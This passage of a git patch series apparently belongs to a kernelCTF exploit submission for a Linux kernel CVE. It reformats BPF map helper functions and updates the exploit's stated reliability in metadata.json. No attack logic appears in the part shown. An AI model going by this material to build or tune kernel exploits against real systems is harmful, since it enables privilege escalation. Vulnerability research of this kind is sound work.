max_entries) { +int map_create(int val_size, int max_entries) +{ union bpf_attr attr = { - .map_type = BPF_MAP_TYPE_ARRAY, - .key_size = sizeof(int), - .value_size = val_size, - .max_entries = max_entries - }; + .map_type = BPF_MAP_TYPE_ARRAY, + .key_size = sizeof(int), + .value_size = val_size, + .max_entries = max_entries}; int mapfd = bpf(BPF_MAP_CREATE, &attr); - if (mapfd == -1) perror("bpf(BPF_MAP_CREATE)"); + if (mapfd == -1) + perror("bpf(BPF_MAP_CREATE)"); return mapfd; } -int map_update(int mapfd, int key, void *pval) { +int map_update(int mapfd, int key, void *pval) +{ union bpf_attr attr = { - .map_fd = mapfd, - .key = (uint64_t)&key, - .value = (uint64_t)pval, - .flags = BPF_ANY - }; + .map_fd = mapfd, + .key = (uint64_t)&key, + .value = (uint64_t)pval, + .flags = BPF_ANY}; int res = bpf(BPF_MAP_UPDATE_ELEM, &attr); - if (res == -1) perror("bpf(BPF_MAP_UPDATE_ELEM)"); + if (res == -1) + perror("bpf(BPF_MAP_UPDATE_ELEM)"); return res; } -int map_lookup(int mapfd, int key, void *pval) { +int map_lookup(int mapfd, int key, void *pval) +{ union bpf_attr attr = { - .map_fd = mapfd, - .key = (uint64_t)&key, - .value = (uint64_t)pval, - .flags = BPF_ANY - }; + .map_fd = mapfd, + .key = (uint64_t)&key, + .value = (uint64_t)pval, + .flags = BPF_ANY}; return bpf(BPF_MAP_LOOKUP_ELEM, &attr); } \ No newline at end of file From 796f9ecc3cfd5fe7d8c9de1e7fc68992aebd4b29 Mon Sep 17 00:00:00 2001 From: 0xTen Date: Wed, 21 Aug 2024 17:57:12 -0300 Subject: [PATCH 12/12] CVE-2024-41010 update reliability note to reflect reality --- pocs/linux/kernelctf/CVE-2024-41010_lts/metadata.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pocs/linux/kernelctf/CVE-2024-41010_lts/metadata.json b/pocs/linux/kernelctf/CVE-2024-41010_lts/metadata.json index da28a50e..62d74c98 100644 --- a/pocs/linux/kernelctf/CVE-2024-41010_lts/metadata.json +++ b/pocs/linux/kernelctf/CVE-2024-41010_lts/metadata.json @@ -28,7 +28,7 @@ "userns" ], "requires_seperate_kaslr_leak":false, - "stability_notes":"20-90~% depending on the environment" + "stability_notes":"70%" } ] }